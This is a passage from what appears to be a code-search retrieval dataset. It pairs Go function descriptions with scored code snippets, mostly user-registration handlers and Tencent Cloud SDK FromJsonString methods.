false,\n\t\t\tError: err.Error(),\n\t\t\tData: nil,\n\t\t})\n\t}\n\tuserIDHash, err := util.GetHash(newUser.Username)\n\tif err != nil {\n\t\treturn ctx.JSON(http.StatusInternalServerError, &api.Response{\n\t\t\tSuccess: false,\n\t\t\tError: err.Error(),\n\t\t\tData: nil,\n\t\t})\n\t}\n\tuserIDInt := int(userIDHash)\n\tuserID := strconv.Itoa(userIDInt)\n\trelease := &message.Request{\n\t\tFrom: n.Pid,\n\t\tTo: 0,\n\t\tCode: message.RELEASE_USER_LOCK,\n\t\tPayload: nil,\n\t}\n\treply = message.Reply{}\n\terr = user.CreateUser(newUser, userID)\n\tif err != nil {\n\t\terr = message.SendMessage(n.RpcMap[0], \"LockSmith.ReleaseUserLock\", release, &reply)\n\t\tif err != nil {\n\t\t\tlog.Fatal(err)\n\t\t}\n\t\treturn ctx.JSON(http.StatusInternalServerError, &api.Response{\n\t\t\tSuccess: false,\n\t\t\tError: err.Error(),\n\t\t\tData: nil,\n\t\t})\n\t}\n\terr = message.SendMessage(n.RpcMap[0], \"LockSmith.ReleaseUserLock\", release, &reply)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\treturn ctx.JSON(http.StatusOK, &api.Response{\n\t\tSuccess: true,\n\t})\n}", "title": "" }, { "docid": "d0dad759274075577d7e4b6403ea8d00", "score": "0.6080423", "text": "func handleRegistration(conn net.Conn, content []byte) {\n\n\ttype RegisterMessage struct {\n\t\tUsername string\n\t\tPublicKey rsa.PublicKey\n\t}\n\n\tr := RegisterMessage{}\n\tjson.Unmarshal(content, &r)\n\tusername := strings.ToLower(r.Username)\n\tconnections[username] = conn\n\tpublicKeys[username] = r.PublicKey\n\tlog.Println(\"Registered user: \", username)\n\tconn.Write([]byte(\"User registration successful\\n\"))\n}", "title": "" }, { "docid": "1c432f7329707b643eab3c72859f1264", "score": "0.6076428", "text": "func (uh UserHandlers) UserRegister(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\tuser := usermodel.User{}\n\tdecoder := json.NewDecoder(r.Body)\n\terr := decoder.Decode(&user)\n\tif err != nil {\n\t\tlog.Println(err)\n\t\tresponses.WriteErrorResponse(w, http.StatusUnprocessableEntity, \"Unable to decode JSON\")\n\t\treturn\n\t}\n\tif !validemail.New().EMailValidator(user.Email) || !common.CheckStr(user.Password) {\n\t\tlog.Println(\"Incorrect input data\")\n\t\tresponses.WriteErrorResponse(w, http.StatusUnprocessableEntity, \"Incorrect input data\")\n\t\treturn\n\t}\n\tres, err := uh.SQL.Register(user)\n\tif err != nil {\n\t\tlog.Println(err)\n\t\tresponses.WriteErrorResponse(w, http.StatusUnprocessableEntity, \"Can't create new user\")\n\t\treturn\n\t}\n\tresponses.WriteOKResponse(w, res)\n}", "title": "" }, { "docid": "19d6b690ce54fd87eeff9bcaa1762a63", "score": "0.60704625", "text": "func createUserHandler(w http.ResponseWriter, r *http.Request, title string) {\n\tp, err := loadUserData(title)\n\tif err != nil {\n\t\tp = &Page{}\n\t}\n\trenderTemplate(w, \"create-user\", p)\n}", "title": "" }, { "docid": "cdefcbc857652a6591623c2c8e383e55", "score": "0.6069542", "text": "func PasswordRegisterPageHandler() http.HandlerFunc {\n\treturn func(w http.ResponseWriter, r *http.Request) {\n\t\tc := appengine.NewContext(r)\n\t\t_, err := apiControllers.GetCurrentUser(c, r)\n\n\t\tif r.URL.Query().Get(\"next\") != \"\" {\n\t\t\tsession, _ := Store.Get(r, \"sess\")\n\t\t\tsession.Values[\"next\"] = r.URL.Query().Get(\"next\")\n\t\t\tsession.Save(r, w)\n\n\t\t\t// If there is a next and the user has been logged in\n\t\t\tif err == nil {\n\t\t\t\thttp.Redirect(w, r, r.URL.Query().Get(\"next\"), 302)\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\n\t\t// If there is no next and the user is logged in\n\t\tif err == nil {\n\t\t\thttp.Redirect(w, r, \"https://tabulae.newsai.co/\", 302)\n\t\t\treturn\n\t\t}\n\n\t\tdata := map[string]interface{}{\n\t\t\tcsrf.TemplateTag: csrf.TemplateField(r),\n\t\t}\n\n\t\tt := template.New(\"register.html\")\n\t\tt, _ = t.ParseFiles(\"auth/register.html\")\n\t\tt.Execute(w, data)\n\t}\n}", "title": "" }, { "docid": "60355c1180842b625c245ae7bce9b7c7", "score": "0.60668963", "text": "func Register(w http.ResponseWriter, r *http.Request) {\n\tvar newUserResource UserResource\n\t// Decode the incoming User json\n\terr := json.NewDecoder(r.Body).Decode(&newUserResource)\n\tif err != nil {\n\t\tutils.DisplayAppError(w, err,\n\t\t\t\"Invalid User data\",\n\t\t\t500,\n\t\t)\n\t\treturn\n\t}\n\n\tnewUserData := &newUserResource.Data\n\n\t//check password for minimum requirements\n\tif newUserData.Password == \"\" {\n\t\terr = errors.New(\"Password is blank\")\n\t}\n\n\tif err != nil {\n\t\tutils.DisplayAppError(w, err,\n\t\t\t\"Password does not meet requirements\",\n\t\t\t500,\n\t\t)\n\t\treturn\n\t}\n\n\t// Insert user record\n\terr = datastore.CreateUser(newUserData)\n\tif err != nil {\n\t\tutils.DisplayAppError(w, err,\n\t\t\t\"An unexpected datastore error has occurred\",\n\t\t\t500,\n\t\t)\n\t\treturn\n\t}\n\n\t//clear password from response\n\tnewUserData.Password = \"\"\n\n\tj, err := json.Marshal(UserResource{Data: *newUserData})\n\tif err != nil {\n\t\tutils.DisplayAppError(w, err,\n\t\t\t\"An unexpected error has occurred\",\n\t\t\t500,\n\t\t)\n\t\treturn\n\t}\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tw.WriteHeader(http.StatusCreated)\n\tw.Write(j)\n}", "title": "" } ]
77fbe3383294cb275a71051eb6e1e97a
FromJsonString It is highly NOT recommended to use this function because it has no param check, nor strict type check
[ { "docid": "0e1f3abb8b453debc20f35fb643f0429", "score": "0.0", "text": "func (r *DescribeNatGatewayDirectConnectGatewayRouteRequest) FromJsonString(s string) error {\n\tf := make(map[string]interface{})\n\tif err := json.Unmarshal([]byte(s), &f); err != nil {\n\t\treturn err\n\t}\n\tdelete(f, \"NatGatewayId\")\n\tdelete(f, \"VpcId\")\n\tdelete(f, \"Limit\")\n\tdelete(f, \"Offset\")\n\tif len(f) > 0 {\n\t\treturn tcerr.NewTencentCloudSDKError(\"ClientError.BuildRequestError\", \"DescribeNatGatewayDirectConnectGatewayRouteRequest has unknown keys!\", \"\")\n\t}\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" } ]
[ { "docid": "0533115efd6200dc84bc2640ded3aa71", "score": "0.6441029", "text": "func StringToJson(s string) (json Json, ok bool, errtok string) {\n\tvar j Json;\n\tb := new(_JsonBuilder);\n\tb.ptr = &j;\n\tok, _, errtok = Parse(s, b);\n\tif !ok {\n\t\treturn nil, false, errtok\n\t}\n\treturn j, true, \"\";\n}", "title": "" }, { "docid": "10a9af3f6492f6f47fceeccd9e356c9e", "score": "0.6336972", "text": "func stringToJson(str *string) map[string]interface{} {\n\tvar ret map[string]interface{}\n\n\t// replace \"\\\" by \"/\" to avoid escaping issues\n\t//\tescapedStr := strings.Replace(*str, \"\\\\\", \"/\", -1)\n\n\tif err := json.Unmarshal([]byte(*str), &ret); err == nil {\n\t\treturn ret\n\t} else {\n\t\tlogp.Err(\"Invalid json format: %s\", *str)\n\t\treturn nil\n\t}\n}", "title": "" }, { "docid": "4960662b7c6236541bb8c90c0a027a75", "score": "0.6238193", "text": "func jsonStringToObject(s string, v interface{}) error {\n\tdata := []byte(s)\n\treturn json.Unmarshal(data, v)\n}", "title": "" }, { "docid": "4960662b7c6236541bb8c90c0a027a75", "score": "0.6238193", "text": "func jsonStringToObject(s string, v interface{}) error {\n\tdata := []byte(s)\n\treturn json.Unmarshal(data, v)\n}", "title": "" }, { "docid": "172ed96e1b9d342ef85aee121f6dae28", "score": "0.6090445", "text": "func (j *JSON) FromString(input string) error {\n\tr := strings.NewReader(input)\n\tdec := json.NewDecoder(r)\n\treturn dec.Decode(&j.Data)\n}", "title": "" }, { "docid": "6eb19d1d848558bbe35d36cecc9c7bb7", "score": "0.60539764", "text": "func (r *AddIgnoreVulResponse) FromJsonString(s string) error {\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "fb403a68113be21f19c5e18c48c6cf02", "score": "0.6040899", "text": "func (r *AddIgnoreVulRequest) FromJsonString(s string) error {\n\tf := make(map[string]interface{})\n\tif err := json.Unmarshal([]byte(s), &f); err != nil {\n\t\treturn err\n\t}\n\tdelete(f, \"List\")\n\tif len(f) > 0 {\n\t\treturn tcerr.NewTencentCloudSDKError(\"ClientError.BuildRequestError\", \"AddIgnoreVulRequest has unknown keys!\", \"\")\n\t}\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "7c45c4b91b0768fbaa01966b5b96af89", "score": "0.6023602", "text": "func (deserializerJSONImpl) ReadString(tObject interface{}, data string) error {\n\tif data == \"\" {\n\t\treturn exc.New(ErrJSONBlankString, nil)\n\t}\n\treturn Deserialize(tObject, strings.NewReader(data))\n}", "title": "" }, { "docid": "4b06c5a3dc599219ae684394a8781636", "score": "0.6004018", "text": "func (r *ImportKeyPairResponse) FromJsonString(s string) error {\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "2fe18504a142a06d992fa91e74cf61a6", "score": "0.5975637", "text": "func (r *CreateNetDetectResponse) FromJsonString(s string) error {\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "0e8c7439d45f9253a62b6ff90da625da", "score": "0.59671134", "text": "func (r *CreateLoadBalancingResponse) FromJsonString(s string) error {\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "a5ce1fc5ecf27497ba4eb5a6de0748ea", "score": "0.59570366", "text": "func (r *ModifyLoadBalancingRequest) FromJsonString(s string) error {\n\tf := make(map[string]interface{})\n\tif err := json.Unmarshal([]byte(s), &f); err != nil {\n\t\treturn err\n\t}\n\tdelete(f, \"ZoneId\")\n\tdelete(f, \"LoadBalancingId\")\n\tdelete(f, \"Type\")\n\tdelete(f, \"OriginId\")\n\tdelete(f, \"TTL\")\n\tif len(f) > 0 {\n\t\treturn tcerr.NewTencentCloudSDKError(\"ClientError.BuildRequestError\", \"ModifyLoadBalancingRequest has unknown keys!\", \"\")\n\t}\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "85e095712c9315710e2292e789999238", "score": "0.5935816", "text": "func (r *CreateLoadBalancingRequest) FromJsonString(s string) error {\n\tf := make(map[string]interface{})\n\tif err := json.Unmarshal([]byte(s), &f); err != nil {\n\t\treturn err\n\t}\n\tdelete(f, \"ZoneId\")\n\tdelete(f, \"Host\")\n\tdelete(f, \"Type\")\n\tdelete(f, \"OriginId\")\n\tdelete(f, \"TTL\")\n\tif len(f) > 0 {\n\t\treturn tcerr.NewTencentCloudSDKError(\"ClientError.BuildRequestError\", \"CreateLoadBalancingRequest has unknown keys!\", \"\")\n\t}\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "37a06e8c8bf05fa144f066751408e623", "score": "0.59314597", "text": "func (r *CheckNetDetectStateResponse) FromJsonString(s string) error {\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "c686ae26aeed7b771eea38891c4e18f9", "score": "0.5896438", "text": "func (r *ModifyLoadBalancingResponse) FromJsonString(s string) error {\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "af9b804e6965f6066a2e081653bffa3e", "score": "0.58838224", "text": "func (r *CreateKeyPairResponse) FromJsonString(s string) error {\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "85df2a121998898c014b0c18d8a32288", "score": "0.5874227", "text": "func (r *ModifyNetDetectResponse) FromJsonString(s string) error {\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "583ba166ea8c36d109f7ffb3871b709d", "score": "0.58597434", "text": "func (r *DeleteIgnoreVulResponse) FromJsonString(s string) error {\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "db6b963599fe2e3165f1aef875292072", "score": "0.5857692", "text": "func (r *CreateLocalGatewayResponse) FromJsonString(s string) error {\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "5597cb5cf56bf4656deb291f67cc65df", "score": "0.58542866", "text": "func StringJson(v interface{}, unq bool) (ret string) {\n\tret = simplejson.MustDumpString(v)\n\tif unq {\n\t\tret, _ = unquote(strings.TrimSpace(ret), '\"')\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "421c29a22c734db564d81fc053212919", "score": "0.5851722", "text": "func NewFrom(s string) JSON {\n\treturn New([]byte(s))\n}", "title": "" }, { "docid": "7243bb1ec40e26182a3eba8fb283870e", "score": "0.58468425", "text": "func (r *ModifyLocalGatewayResponse) FromJsonString(s string) error {\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "51ffcbd3dfcc824c7867c6e21542eb1a", "score": "0.5840333", "text": "func (r *DescribeLoadBalancingRequest) FromJsonString(s string) error {\n\tf := make(map[string]interface{})\n\tif err := json.Unmarshal([]byte(s), &f); err != nil {\n\t\treturn err\n\t}\n\tdelete(f, \"ZoneId\")\n\tdelete(f, \"Offset\")\n\tdelete(f, \"Limit\")\n\tdelete(f, \"Host\")\n\tdelete(f, \"Fuzzy\")\n\tif len(f) > 0 {\n\t\treturn tcerr.NewTencentCloudSDKError(\"ClientError.BuildRequestError\", \"DescribeLoadBalancingRequest has unknown keys!\", \"\")\n\t}\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "c192755e261df2ebe78b003e73eb260b", "score": "0.57835066", "text": "func (r *ModifyNetDetectRequest) FromJsonString(s string) error {\n\tf := make(map[string]interface{})\n\tif err := json.Unmarshal([]byte(s), &f); err != nil {\n\t\treturn err\n\t}\n\tdelete(f, \"NetDetectId\")\n\tdelete(f, \"NetDetectName\")\n\tdelete(f, \"DetectDestinationIp\")\n\tdelete(f, \"NextHopType\")\n\tdelete(f, \"NextHopDestination\")\n\tdelete(f, \"NetDetectDescription\")\n\tif len(f) > 0 {\n\t\treturn tcerr.NewTencentCloudSDKError(\"ClientError.BuildRequestError\", \"ModifyNetDetectRequest has unknown keys!\", \"\")\n\t}\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "824d9971c41ea18cf6a8231038c22dd9", "score": "0.5782176", "text": "func (r *CreateVirusScanAgainResponse) FromJsonString(s string) error {\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "39c97c86e3cee72c2e07c5d29dd2894b", "score": "0.57793784", "text": "func (r *ModifyLoadBalancingStatusRequest) FromJsonString(s string) error {\n\tf := make(map[string]interface{})\n\tif err := json.Unmarshal([]byte(s), &f); err != nil {\n\t\treturn err\n\t}\n\tdelete(f, \"ZoneId\")\n\tdelete(f, \"LoadBalancingId\")\n\tdelete(f, \"Status\")\n\tif len(f) > 0 {\n\t\treturn tcerr.NewTencentCloudSDKError(\"ClientError.BuildRequestError\", \"ModifyLoadBalancingStatusRequest has unknown keys!\", \"\")\n\t}\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "0f637b463e9f0f95c9d8bd97f2bc1ce5", "score": "0.5777411", "text": "func (r *ExportVirusListResponse) FromJsonString(s string) error {\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "d4952c95869ccbb688f4481c45ea1af7", "score": "0.5774518", "text": "func (r *SendMsgResponse) FromJsonString(s string) error {\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "fc5000454ab0efd31b1ccb7b4ec6168c", "score": "0.57711583", "text": "func (r *DeleteIgnoreVulRequest) FromJsonString(s string) error {\n\tf := make(map[string]interface{})\n\tif err := json.Unmarshal([]byte(s), &f); err != nil {\n\t\treturn err\n\t}\n\tdelete(f, \"List\")\n\tif len(f) > 0 {\n\t\treturn tcerr.NewTencentCloudSDKError(\"ClientError.BuildRequestError\", \"DeleteIgnoreVulRequest has unknown keys!\", \"\")\n\t}\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "20198baae52666f4baa8216444aedf6e", "score": "0.5760323", "text": "func (r *GetFaceIdTokenIntlResponse) FromJsonString(s string) error {\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "fe347f536ed29f4282aaed6d64e23653", "score": "0.57560277", "text": "func (r *DeleteLoadBalancingResponse) FromJsonString(s string) error {\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "5f5d163864b365fe06df2924818d3264", "score": "0.5748486", "text": "func (r *DescribeVulTopRankingRequest) FromJsonString(s string) error {\n\tf := make(map[string]interface{})\n\tif err := json.Unmarshal([]byte(s), &f); err != nil {\n\t\treturn err\n\t}\n\tdelete(f, \"CategoryType\")\n\tif len(f) > 0 {\n\t\treturn tcerr.NewTencentCloudSDKError(\"ClientError.BuildRequestError\", \"DescribeVulTopRankingRequest has unknown keys!\", \"\")\n\t}\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "38cb97375f0fbe4c8b8d5f289339b50f", "score": "0.5740197", "text": "func (chain *BlockChain) DecodeFromJson(jsonString string) {\n\n\tvar block[] Block;\n\tblock = DecodeFromJsonArray(jsonString);\n\n\n\tfor i:= 0; i < len(block); i++{\n\t\tchain.Insert(block[i]);\n\t}\n}", "title": "" }, { "docid": "5493f36d08a4225968e64858f8c4bd80", "score": "0.5726239", "text": "func (r *ModifyLoadBalancingStatusResponse) FromJsonString(s string) error {\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "5916cc7e08493f87fe280ff342bd45cd", "score": "0.5726228", "text": "func (r *GenerateReflectSequenceResponse) FromJsonString(s string) error {\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "f85413878c808d747d0081fd413afb3d", "score": "0.57258046", "text": "func (r *CreateInstanceSnapshotResponse) FromJsonString(s string) error {\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "a57cb292dd19a542d62bcb877327d079", "score": "0.572233", "text": "func (r *CreateFlowLogResponse) FromJsonString(s string) error {\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "ed96cc81e5337a1f49304c44cfd60de6", "score": "0.57212466", "text": "func (r *DescribeLoadBalancingDetailRequest) FromJsonString(s string) error {\n\tf := make(map[string]interface{})\n\tif err := json.Unmarshal([]byte(s), &f); err != nil {\n\t\treturn err\n\t}\n\tdelete(f, \"ZoneId\")\n\tdelete(f, \"LoadBalancingId\")\n\tif len(f) > 0 {\n\t\treturn tcerr.NewTencentCloudSDKError(\"ClientError.BuildRequestError\", \"DescribeLoadBalancingDetailRequest has unknown keys!\", \"\")\n\t}\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "74c31ae4e0f3695943cfa1e2679d576d", "score": "0.57187915", "text": "func (r *ModifyAssetResponse) FromJsonString(s string) error {\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "c446ffd52491025b790a16b3c1190512", "score": "0.57121205", "text": "func (r *DeleteLocalGatewayResponse) FromJsonString(s string) error {\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "8476a9f7a79d06716bd7414a47ffc710", "score": "0.56992334", "text": "func (r *ModifyAssetRequest) FromJsonString(s string) error {\n\tf := make(map[string]interface{})\n\tif err := json.Unmarshal([]byte(s), &f); err != nil {\n\t\treturn err\n\t}\n\tdelete(f, \"All\")\n\tdelete(f, \"Hosts\")\n\tif len(f) > 0 {\n\t\treturn tcerr.NewTencentCloudSDKError(\"ClientError.BuildRequestError\", \"ModifyAssetRequest has unknown keys!\", \"\")\n\t}\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "63a780c136945a27baa569c61a591a2b", "score": "0.56933105", "text": "func (r *DeleteLoadBalancingRequest) FromJsonString(s string) error {\n\tf := make(map[string]interface{})\n\tif err := json.Unmarshal([]byte(s), &f); err != nil {\n\t\treturn err\n\t}\n\tdelete(f, \"ZoneId\")\n\tdelete(f, \"LoadBalancingId\")\n\tif len(f) > 0 {\n\t\treturn tcerr.NewTencentCloudSDKError(\"ClientError.BuildRequestError\", \"DeleteLoadBalancingRequest has unknown keys!\", \"\")\n\t}\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "c02bbac84e79c60b1827ab63789b7b84", "score": "0.56927115", "text": "func (r *ImportKeyPairRequest) FromJsonString(s string) error {\n\tf := make(map[string]interface{})\n\tif err := json.Unmarshal([]byte(s), &f); err != nil {\n\t\treturn err\n\t}\n\tdelete(f, \"KeyName\")\n\tdelete(f, \"PublicKey\")\n\tif len(f) > 0 {\n\t\treturn tcerr.NewTencentCloudSDKError(\"ClientError.BuildRequestError\", \"ImportKeyPairRequest has unknown keys!\", \"\")\n\t}\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "93eeb90662bd40590dee7832eda3651a", "score": "0.5692616", "text": "func (r *DescribeNetDetectStatesRequest) FromJsonString(s string) error {\n\tf := make(map[string]interface{})\n\tif err := json.Unmarshal([]byte(s), &f); err != nil {\n\t\treturn err\n\t}\n\tdelete(f, \"NetDetectIds\")\n\tdelete(f, \"Filters\")\n\tdelete(f, \"Offset\")\n\tdelete(f, \"Limit\")\n\tif len(f) > 0 {\n\t\treturn tcerr.NewTencentCloudSDKError(\"ClientError.BuildRequestError\", \"DescribeNetDetectStatesRequest has unknown keys!\", \"\")\n\t}\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "8e87ddfaf40141e4f93fd23fac72a53e", "score": "0.56925917", "text": "func (r *DescribeVulTendencyRequest) FromJsonString(s string) error {\n\tf := make(map[string]interface{})\n\tif err := json.Unmarshal([]byte(s), &f); err != nil {\n\t\treturn err\n\t}\n\tdelete(f, \"StartTime\")\n\tdelete(f, \"EndTime\")\n\tdelete(f, \"SphereOfInfluence\")\n\tif len(f) > 0 {\n\t\treturn tcerr.NewTencentCloudSDKError(\"ClientError.BuildRequestError\", \"DescribeVulTendencyRequest has unknown keys!\", \"\")\n\t}\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "0e37d792502d9ef221fb6d73f1e7c908", "score": "0.5690435", "text": "func NewJSONStr(s string) RawJSON {\n\tif len(s) == 0 {\n\t\treturn NullJSON()\n\t}\n\treturn RawJSON{\n\t\tJSON: types.NewJSONStr(s),\n\t\tValid: true,\n\t}\n}", "title": "" }, { "docid": "ae3c2ba3a1cf8be56a2b46d1bfda217f", "score": "0.5688475", "text": "func (r *CreateHaVipResponse) FromJsonString(s string) error {\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "41cda3b0e53109595554e1981868931e", "score": "0.5687411", "text": "func (r *DeleteNetDetectResponse) FromJsonString(s string) error {\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "ad4698bb20928802e4211bc49c1ef3e5", "score": "0.56847525", "text": "func (r *DeleteNetDetectRequest) FromJsonString(s string) error {\n\tf := make(map[string]interface{})\n\tif err := json.Unmarshal([]byte(s), &f); err != nil {\n\t\treturn err\n\t}\n\tdelete(f, \"NetDetectId\")\n\tif len(f) > 0 {\n\t\treturn tcerr.NewTencentCloudSDKError(\"ClientError.BuildRequestError\", \"DeleteNetDetectRequest has unknown keys!\", \"\")\n\t}\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "55a5f5b2878aade5eeeede751d134e9a", "score": "0.5677509", "text": "func (r *AddEscapeWhiteListResponse) FromJsonString(s string) error {\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "f7407083dbcd26e6158a32e95fa116b5", "score": "0.5668209", "text": "func (r *DescribeNetDetectsRequest) FromJsonString(s string) error {\n\tf := make(map[string]interface{})\n\tif err := json.Unmarshal([]byte(s), &f); err != nil {\n\t\treturn err\n\t}\n\tdelete(f, \"NetDetectIds\")\n\tdelete(f, \"Filters\")\n\tdelete(f, \"Offset\")\n\tdelete(f, \"Limit\")\n\tif len(f) > 0 {\n\t\treturn tcerr.NewTencentCloudSDKError(\"ClientError.BuildRequestError\", \"DescribeNetDetectsRequest has unknown keys!\", \"\")\n\t}\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "c40cf7e5e17e3f6e78e81dfb4f679dce", "score": "0.56617177", "text": "func (r *CreatePurgeTaskResponse) FromJsonString(s string) error {\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "f198596bcfb7ee78c34e5a626d402a7d", "score": "0.5656242", "text": "func (r *DescribeVulDetailRequest) FromJsonString(s string) error {\n\tf := make(map[string]interface{})\n\tif err := json.Unmarshal([]byte(s), &f); err != nil {\n\t\treturn err\n\t}\n\tdelete(f, \"PocID\")\n\tif len(f) > 0 {\n\t\treturn tcerr.NewTencentCloudSDKError(\"ClientError.BuildRequestError\", \"DescribeVulDetailRequest has unknown keys!\", \"\")\n\t}\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "cbf186753460e1284d6c0f4a18839138", "score": "0.565599", "text": "func (r *DescribeLoadBalancingResponse) FromJsonString(s string) error {\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "fc4d9ddabf46df69e4209543fb941af5", "score": "0.5654801", "text": "func (r *CreateStreamLiveInputResponse) FromJsonString(s string) error {\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "1a5b43a745f2f0348c977a64641e9682", "score": "0.5651478", "text": "func (r *DescribeTimingL4DataResponse) FromJsonString(s string) error {\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "d55c1409d7051ce714e92138751e24c4", "score": "0.5649441", "text": "func (r *GetFaceIdTokenIntlRequest) FromJsonString(s string) error {\n\tf := make(map[string]interface{})\n\tif err := json.Unmarshal([]byte(s), &f); err != nil {\n\t\treturn err\n\t}\n\tdelete(f, \"CheckMode\")\n\tdelete(f, \"SecureLevel\")\n\tdelete(f, \"Image\")\n\tdelete(f, \"Extra\")\n\tif len(f) > 0 {\n\t\treturn tcerr.NewTencentCloudSDKError(\"ClientError.BuildRequestError\", \"GetFaceIdTokenIntlRequest has unknown keys!\", \"\")\n\t}\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "1920b2bee2f9cd539b10fd0984de6919", "score": "0.5649031", "text": "func (r *AddCompliancePolicyItemToWhitelistResponse) FromJsonString(s string) error {\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "f22f75331bf6edc9536ed50fd704e513", "score": "0.5646538", "text": "func (r *DescribeAssetDBServiceListRequest) FromJsonString(s string) error {\n\tf := make(map[string]interface{})\n\tif err := json.Unmarshal([]byte(s), &f); err != nil {\n\t\treturn err\n\t}\n\tdelete(f, \"Limit\")\n\tdelete(f, \"Offset\")\n\tdelete(f, \"Filters\")\n\tif len(f) > 0 {\n\t\treturn tcerr.NewTencentCloudSDKError(\"ClientError.BuildRequestError\", \"DescribeAssetDBServiceListRequest has unknown keys!\", \"\")\n\t}\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "b227b71d2840d9254e65e0b1a4cc6128", "score": "0.5637129", "text": "func (r *ApplyLivenessTokenResponse) FromJsonString(s string) error {\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "7d413a22a30a4307b39a6fddba1608c0", "score": "0.56321126", "text": "func (r *ExportVirusListRequest) FromJsonString(s string) error {\n\tf := make(map[string]interface{})\n\tif err := json.Unmarshal([]byte(s), &f); err != nil {\n\t\treturn err\n\t}\n\tdelete(f, \"Filters\")\n\tdelete(f, \"Order\")\n\tdelete(f, \"By\")\n\tdelete(f, \"ExportField\")\n\tif len(f) > 0 {\n\t\treturn tcerr.NewTencentCloudSDKError(\"ClientError.BuildRequestError\", \"ExportVirusListRequest has unknown keys!\", \"\")\n\t}\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "b6c57e649185374991103ee49bafd2e2", "score": "0.56306404", "text": "func (r *CreateVirusScanAgainRequest) FromJsonString(s string) error {\n\tf := make(map[string]interface{})\n\tif err := json.Unmarshal([]byte(s), &f); err != nil {\n\t\treturn err\n\t}\n\tdelete(f, \"TaskId\")\n\tdelete(f, \"ContainerIds\")\n\tdelete(f, \"TimeoutAll\")\n\tdelete(f, \"Timeout\")\n\tif len(f) > 0 {\n\t\treturn tcerr.NewTencentCloudSDKError(\"ClientError.BuildRequestError\", \"CreateVirusScanAgainRequest has unknown keys!\", \"\")\n\t}\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { "docid": "cf3937b3cedec116bcb9b1c001096de0", "score": "0.5630149", "text": "func (r *CheckNetDetectStateRequest) FromJsonString(s string) error {\n\tf := make(map[string]interface{})\n\tif err := json.Unmarshal([]byte(s), &f); err != nil {\n\t\treturn err\n\t}\n\tdelete(f, \"DetectDestinationIp\")\n\tdelete(f, \"NextHopType\")\n\tdelete(f, \"NextHopDestination\")\n\tdelete(f, \"NetDetectId\")\n\tdelete(f, \"VpcId\")\n\tdelete(f, \"SubnetId\")\n\tdelete(f, \"NetDetectName\")\n\tif len(f) > 0 {\n\t\treturn tcerr.NewTencentCloudSDKError(\"ClientError.BuildRequestError\", \"CheckNetDetectStateRequest has unknown keys!\", \"\")\n\t}\n\treturn json.Unmarshal([]byte(s), &r)\n}", "title": "" }, { 